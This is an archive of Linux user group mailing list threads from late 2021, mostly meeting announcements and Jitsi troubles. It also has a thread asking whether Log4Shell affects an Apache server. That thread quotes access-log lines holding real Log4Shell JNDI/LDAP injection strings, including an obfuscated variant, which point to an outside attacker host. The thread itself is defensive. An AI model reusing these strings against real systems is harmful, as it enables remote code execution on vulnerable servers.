- WLUG - wlug.mailman3.com

Re: Bug in the news

by Chris Thompson

httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote: > Michael Voorhis <mvoorhis(a)mcvau.net> writes: > >> Log4j is a Java logging library. >> If you're running apache and not using Java, >> I don't think you need to be concerned. >> >> See here... >> >> https://en.wikipedia.org/wiki/Log4Shell > Interesting link, thanks for that. > > I don't use Java, but is Apache using it without my knowledge? > > NB: I am a bear of little brain. -- Pooh > I can't. I don't know how it works! -- OZ > > I find in /var/log/httpd/access_log > > 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] > "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... > ... > "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: > //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... > ... > > So they are trying. How can tell if they succeeded? > > I have "gij" installed (by distro). I didn't know that two hours ago. > > What would break if I just deleted that? > > -- Keith > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XJKAR…

Dec. 15, 2021

Re: Bug in the news

by Keith Wright

Michael Voorhis <mvoorhis(a)mcvau.net> writes: > Log4j is a Java logging library. > If you're running apache and not using Java, > I don't think you need to be concerned. > > See here... > > https://en.wikipedia.org/wiki/Log4Shell Interesting link, thanks for that. I don't use Java, but is Apache using it without my knowledge? NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ I find in /var/log/httpd/access_log 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ... So they are trying. How can tell if they succeeded? I have "gij" installed (by distro). I didn't know that two hours ago. What would break if I just deleted that? -- Keith

Dec. 15, 2021

Re: Bug in the news

by Michael Voorhis

Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned. See here... https://en.wikipedia.org/wiki/Log4Shell Dec 15, 2021 2:07:59 PM Keith Wright via WLUG <wlug(a)lists.wlug.org>: > Are we worried about Log4j / Log4shell (CVE-2021-44228)? > > I run Apache and never look at the log files. > > Where are they anyway? > Can I configure them out of existence, > or just log boring stuff? > > I don't need remote logging. > Can I just firewall packets? > > -- Keith > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GVITN…

Dec. 15, 2021

Bug in the news

by Keith Wright

Are we worried about Log4j / Log4shell (CVE-2021-44228)? I run Apache and never look at the log files. Where are they anyway? Can I configure them out of existence, or just log boring stuff? I don't need remote logging. Can I just firewall packets? -- Keith

Dec. 15, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! I am Wiiless, but always interested techniques to run it my way. > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, > we'll head off to dinner afterwards! I notice no mention was made of > > Secondly, the meeting will also be online at our usual Jitsi location for > > people who can't make it in person. https://meet.jit.si/WlugMA I couldn't get into that the last time, but it is said by one who knows that it was working. I don't know if I will have a jit.si capable computer, but I do know that I will not be in Hudson tonight. I would like to check in. Can I assume that someone will do what someone has done to make what has happened before happen again? Or will the forgotten past be gone forever into the memory hole? -- Keith PS: https://meet.jit.si/WlugMA hereby goes viral!

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Andrew Oprea

Hi Everyone, Is the usual meet.jit.si/WlugMA going to be up for far away participants? I've also got 30 seconds of follow up about what I've learned configuring my minimalist wifi repeater. I'll gladly type it out and mail it here if a mixed mode meeting isn't the plan tonight. Thanks again for the help, Drew On Thu, Dec 9, 2021 at 2:24 PM Joshua Stone via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Thanks for the update! This meeting agenda looks exciting! I might get > some new inspiration for my Raspberry Pi. > > Do we have a preference for where we could eat after this meeting? Rail > Trail Flatbread seemed to work well last time, maybe we can try Less Than > Greater Than? > > https://www.lessthangreaterthan.com/eat > > - Josh > > On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Hey Everybody, >> >> We've got a meeting this Thursday at the Hudson Public Library! >> >> Topic: Jail breaking that Wii you've got laying around to run Linux! >> Then I'm sure it'll get even more interesting! >> I'd like to brain storm about topics we'd like to talk about next year! >> >> Ideas that have been talked about: >> 1. Pi-hole. What it is, how it works and why you want one! >> 2. Raspberry Pi clusters.. How to build one and what would you do with >> one? >> 3. Ham radio and Linux. >> >> I'll have snacks and refreshments on hand, we'll head off to dinner >> afterwards! >> Later, >> Tim. >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JDVHP… >

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Joshua Stone

Hey Tim, Thanks for the update! This meeting agenda looks exciting! I might get some new inspiration for my Raspberry Pi. Do we have a preference for where we could eat after this meeting? Rail Trail Flatbread seemed to work well last time, maybe we can try Less Than Greater Than? https://www.lessthangreaterthan.com/eat - Josh On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! > > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, we'll head off to dinner > afterwards! > Later, > Tim. > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >

Dec. 9, 2021

Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Tim Keller

Hey Everybody, We've got a meeting this Thursday at the Hudson Public Library! Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year! Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux. I'll have snacks and refreshments on hand, we'll head off to dinner afterwards! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Dec. 8, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Jon "maddog" Hall

Keith, I was there, virtually, from 1900 to 2000 EST and Jitsey was doing fine. Sorry you had problems. md On Fri, Nov 19, 2021, 16:23 Keith Wright via WLUG <wlug(a)lists.wlug.org> wrote: > Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > > > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > > the Hudson Public Library! > > > > Firstly, a big shout out to Joshua Stone for making > > the reservation at the Hudson Public Library. > > I live in Worcester. For a long time I just walked up the hill > to WLUG at WPI. I got bad at walking, so I got a ride and hung > out in the library until meeting time. Those days are over. > > I don't know where Hudson is. I assume it's in Worcester county. > The "W" in "WLUG" no longer stands for WPI, or even Wormtown. OK. > > > Secondly, the meeting will also be online at our usual Jitsi location for > > people who can't make it in person. https://meet.jit.si/WlugMA > > Did this happen? I was having a slow day after getting a anti-covid > booster Wednesday, thinking of just skipping the whole thing. Diane > was not home, so I could not use her laptop as I have in the past > to join jit.si WLUG meetings, but I tried to connect with my own. > > It is not really usable, with its built in microphone and speaker > feedbacking, but I thought I could listen and wave. I could see > myself on screen, so I know the camera was working. The microphone > seemed to be working, but when I pushed the "join meeting" button > nothing happened. This was probably around 7:30. > > I assumed my own system (hardware, sofrware, network...) was the > problem, but on further thought maybe you guys did not get it set up, > or quit when nobody else joined the meeting for half an hour. > > > The topic we'll be discussing at the meeting is the Intel > > Management Engine technology buried in every Intel CPU. > > I think I had better find out about this some other way. > > Thanks for the heads-up. What good is it to have the source code, > if you can't trust the computer to run it? > > > We'll talk about those flaws and how to disable it! > > Any pointers to more info? > > -- Keith > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3E27D… >

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > the Hudson Public Library! > > Firstly, a big shout out to Joshua Stone for making > the reservation at the Hudson Public Library. I live in Worcester. For a long time I just walked up the hill to WLUG at WPI. I got bad at walking, so I got a ride and hung out in the library until meeting time. Those days are over. I don't know where Hudson is. I assume it's in Worcester county. The "W" in "WLUG" no longer stands for WPI, or even Wormtown. OK. > Secondly, the meeting will also be online at our usual Jitsi location for > people who can't make it in person. https://meet.jit.si/WlugMA Did this happen? I was having a slow day after getting a anti-covid booster Wednesday, thinking of just skipping the whole thing. Diane was not home, so I could not use her laptop as I have in the past to join jit.si WLUG meetings, but I tried to connect with my own. It is not really usable, with its built in microphone and speaker feedbacking, but I thought I could listen and wave. I could see myself on screen, so I know the camera was working. The microphone seemed to be working, but when I pushed the "join meeting" button nothing happened. This was probably around 7:30. I assumed my own system (hardware, sofrware, network...) was the problem, but on further thought maybe you guys did not get it set up, or quit when nobody else joined the meeting for half an hour. > The topic we'll be discussing at the meeting is the Intel > Management Engine technology buried in every Intel CPU. I think I had better find out about this some other way. Thanks for the heads-up. What good is it to have the source code, if you can't trust the computer to run it? > We'll talk about those flaws and how to disable it! Any pointers to more info? -- Keith

Nov. 19, 2021